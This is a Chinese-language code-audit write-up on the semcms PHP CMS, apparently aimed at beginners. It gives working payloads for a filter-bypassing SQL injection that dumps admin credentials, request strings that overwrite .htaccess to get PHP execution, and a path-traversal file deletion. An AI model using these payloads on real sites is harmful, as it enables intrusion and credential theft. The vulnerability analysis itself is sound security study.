某CMS漏洞合集
0x00 前言
因為與這個CMS挺有緣份的,故花了點時間看了下代碼,發現這個CMS非常適合入門代碼審計的人去學習,因為代碼簡單且漏洞成因經典,對一些新手有學習價值,故作了此次分享。
0x01 前臺注入
從入口開始:/semcms/Templete/default/Include/index.php

跟進web_inc.php,首先包含
1)db_conn.php:建立與數據庫的連接,代碼量很少也很簡單。

2)contorl.php:對$_GET進行全局過濾危險的SQL函數。

這個過濾從最簡單的角度來說,即mysql<8的情況下,把select禁用了,其實就沒辦法進行跨表查詢,SQL利用造成危害的可能性會大大降低,當然這是一種直接且無需考慮用戶體驗為原則的暴力做法,點到為止吧。
回到web_inc.php,繼續閱讀,后面吸引我的地方,在于 89 line一處SQL語句的地方。

可以看到$Language沒有單引號,直接拼接到語句中,且值由POST方式傳遞,不過這里經過了verify_str函數,導致我沒有辦法利用select進行子查詢,獲取到sc_user表的后臺管理員用戶密碼,那么事實真的如此么?
$Language=test_input(verify_str($_POST["languageID"]));
經過verify_str函數處理后,會傳入test_input函數,其返回值將會拼接進SQL語句中進行查詢。

test_input里面有個有趣的函數stripslashes,函數的作用就是用于去除反斜杠,舉個如圖例子

那么繞過verify_str思路就水到渠成了。

分析下payload的原理
languageID=-1 uni\on sel\ect 1,concat(user_admin,0x2d,user_ps),3,4,5,6,7,8,9,10,11,12,13,14 from sc_user
un\ion&&sel\ect繞過了verify_str函數的正則匹配,經過test_input的stripslashes去掉反斜杠,最終拼接到數據庫中執行的語句,實際上

返回的后臺管理員的賬號密碼信息到$tag_indexmetatit變量中。

并經過if判斷傳遞給$indextitle變量,最終直接被echo到返回包。
if (empty($tag_indexmetatit)){$indextitle=$tag_indexkey;}else{$indextitle=$tag_indexmetatit;}
if (empty($tag_prometatit)){$protitle=$tag_prokey;}else{$protitle=$tag_prometatit;}
if (empty($tag_newmetatit)){$newstitle=$tag_newkey;}else{$newstitle=$tag_newmetatit;}


0x1.1 小結
由于web_inc.php是所有前臺文件都會包含的,所以說這個注入點在任意前臺文件中都可以無條件觸發,唯一的區別就是其他文件可能沒有回顯的地方。當然,同樣地基于此繞過原理,還可以找到很多處類似的注入或者其他更為簡單且直接的注入點,這些就留給讀者們自己探索。
0x02 尋找后臺
雖然在0x01中挖掘到了前臺無限制回顯的SQL注入漏洞,但因為查詢數據庫用的是mysqli的query函數而不是multi_query函數,故注入點并不支持堆疊注入,這直接導致我們少了一條SQLGetSHell的道路。值得開心一點的是,我們目前可以通過注入點獲取到管理員的賬號密碼,不過這個CMS的后臺地址安裝時是隨機生成的,所以找到后臺地址很困難,下面是自己嘗試尋找后臺的失敗過程,很可惜沒有突破。
0x2.1 失敗的過程
semcms/install/index.php安裝文件有后臺地址的生成代碼

那么我的思路,就是全局定位$ht_filename變量,看看有沒有對此進行操作并存儲的代碼。

很遺憾,并沒有找到對此變量引用的代碼。還沒到放棄的時候,一般這個時候,我還會額外找找一些其他的辦法。
比如搜索scandir函數,該函數作用是列出指定路徑中的文件和目錄,目的是通過找到類似目錄遍歷漏洞的點,從而找到后臺地址。

繼續回溯TemplateDir

可惜的是,發現傳入的第一個參數是固定的,故這個思路也斷了,暫時沒有想到其他的好辦法了。
0x03 GetShell思路
目標CMS的代碼量并不高,故尋找GetShell的思路,可以采用危險函數定位的方法來進行快速排除并在存在漏洞的可疑的地方再進行回溯分析。
0x3.1 定位思路
文件包含函數:流程控制
- require
- include
- require_once
- include_once
文件操作函數: 文件系統函數
- copy — 拷貝文件
- delete — 參見 unlink 或 unset
- fflush — 將緩沖內容輸出到文件
- file_get_contents — 將整個文件讀入一個字符串
- file_put_contents — 將一個字符串寫入文件
- fputcsv — 將行格式化為 CSV 并寫入文件指針
- fputs — fwrite 的別名
- fread — 讀取文件(可安全用于二進制文件)
- fscanf — 從文件中格式化輸入
- fwrite — 寫入文件(可安全用于二進制文件)
- move_uploaded_file — 將上傳的文件移動到新位置
- readfile — 輸出文件
- rename — 重命名一個文件或目錄
- rmdir — 刪除目錄
- unlink — 刪除文件
代碼注入函數:
- eval — 把字符串作為PHP代碼執行
- assert — 檢查一個斷言是否為 false
- preg_replace — 執行一個正則表達式的搜索和替換
命令執行函數:程序執行函數
- escapeshellarg — 把字符串轉碼為可以在 shell 命令里使用的參數
- escapeshellcmd — shell 元字符轉義
- exec — 執行一個外部程序
- passthru — 執行外部程序并且顯示原始輸出
- proc_close — 關閉由 proc_open 打開的進程并且返回進程退出碼
- proc_get_status — 獲取由 proc_open 函數打開的進程的信息
- proc_nice — 修改當前進程的優先級
- proc_open — 執行一個命令,并且打開用來輸入/輸出的文件指針。
- proc_terminate — 殺除由 proc_open 打開的進程
- shell_exec — 通過 shell 環境執行命令,并且將完整的輸出以字符串的方式返回。
- system — 執行外部程序,并且顯示輸出
變量覆蓋:
- extract — 從數組中將變量導入到當前的符號表
- parse_str — 將字符串解析成多個變量
0x3.1 后臺GetShell
搜索file_put_contents函數,只有兩個結果,一個是參數寫死,故放棄,故只剩這個分析。

寫入的文件$templateUrl得到的值是固定兩種類型。
../index.php 根目錄
../.htaccess 根目錄
function Mbapp($mb,$lujin,$mblujin,$dirpaths,$htmlopen){
if ($htmlopen==1){$ml="j";}else{$ml="d";}
$template="index.php,hta/".$ml."/.htaccess"; //開始應用模版
// 1.$template=index.php,hta/j/.htaccess
// 2.$template=index.php,hta/d/.htaccess
$template_mb=explode(",",$template);
//$template_mb 根據,分割為index.php和hta/d/.htaccess的數組
for($i=0;$i
// 獲取路徑的內容
$template_o = file_get_contents($mblujin.'Templete/'.$mb.'/Include/'.$template_mb[$i]);
// ../拼接$template_mb[$i]中的"hta/".$ml."/"字符串替換為空的結果
// 即得到../.htacess 或者 ../.index.php
$templateUrl = $lujin.str_replace("hta/".$ml."/","", $template_mb[$i]);
// 修改$template_o的'<{Template}>'標記為$mb的值
$output = str_replace('<{Template}>', $mb, $template_o);
$output = str_replace('<{dirpaths}>', $dirpaths, $output);
// 將替換的內容寫入到$templateUrl指向的文件
file_put_contents($templateUrl, $output);
}
}
那么這個函數如果$mb可控的話,會發生什么問題?
問題一
能夠修改semcms/Templete/default/Include/index.php中的<{Template}>的內容

那么可以嘗試如下的形式構造payload:
/semcms/N8D3ch_Admin/SEMCMS_Template.php?CF=template&mb=default/'.phpinfo():.'/..
最終的話會在semcms/Templete/default/Include/index.php寫入如下圖所示。

問題2
能夠修改根目錄.htacess的內容
與 .htaccess 相關的奇淫技巧
SetHandler application/x-httpd-php
此時當前目錄及其子目錄下所有文件都會被當做 php 解析。
那么可以嘗試如下的形式構造payload:
/semcms/N8D3ch_Admin/SEMCMS_Template.php?CF=template&mb=default/%0aSetHandler%20application/x-httpd-php%0a%23/../.. //這里因為application/x-httpd-php中帶有/,所以多需要一個../進行跳轉

最終寫入的內容:

那么我們隨意上傳一個文件,即可當作PHP來解析。
那么$mb到底是否可控呢?回溯Mbapp函數的上層調用,可以發現可以通過$_GET['mb']來控制。

不過因為文件引進/semcms/Include/contorl.php,會調用verify_str對$_GET變量進行過濾。

很不湊巧,過濾了單引號,導致我們問題1覆蓋的index.php的思路直接斷了,因為根本沒辦法逃逸出單引號。
不過問題2的話,倒是可以成功,因為傳入的內容并不在inject_check_sql的黑名單中,可以成功地覆蓋.htaccess文件,不過這種方式也是有局限性的,需要Apahce是通過module的形式加載PHP的文件來執行才可以,并且需要在Linux環境,因為window不支持跨越不存在的路徑。
0x04 任意文件刪除
最后還想額外提一下關于后臺的漏洞,便是其中一個任意文件刪除漏洞,這個刪除點不是直接的點,而是先通過構造需要刪除的文件路徑存進數據庫,再通過觸發其他點進行獲取,傳入unlink中進行刪除,這種類型筆者稱之為二次任意文件刪除漏洞,很是經典。
漏洞演示:
1)傳入../rmme.txt作為圖片的路徑

2)選擇刪除圖片后,會刪除文件網站根目錄下的rmme.txt文件

成因:
(1) 添加URL入庫的時候,只是做了test_input,并沒有過濾..。

(2) 直接入庫


(3) 刪除圖片的時候,傳入AID,獲取到images_url字段的值../rmme.txt傳入Delfile函數進行刪除。

Delfile函數先判斷文件是否存在,再使用unlink刪掉文件,全程沒有一丁點的過濾,送分題!

0x05 總結
本文直接從一個入口的注入點展開,想找到一條合適的鏈路到GetShell的完整過程,但是遺憾的是,沒能解決6位隨機后臺地址的問題,故實際利用起來的話,局限性還是有的,姑且稱之為一次分享式的嘗試性代碼審計體驗錄吧。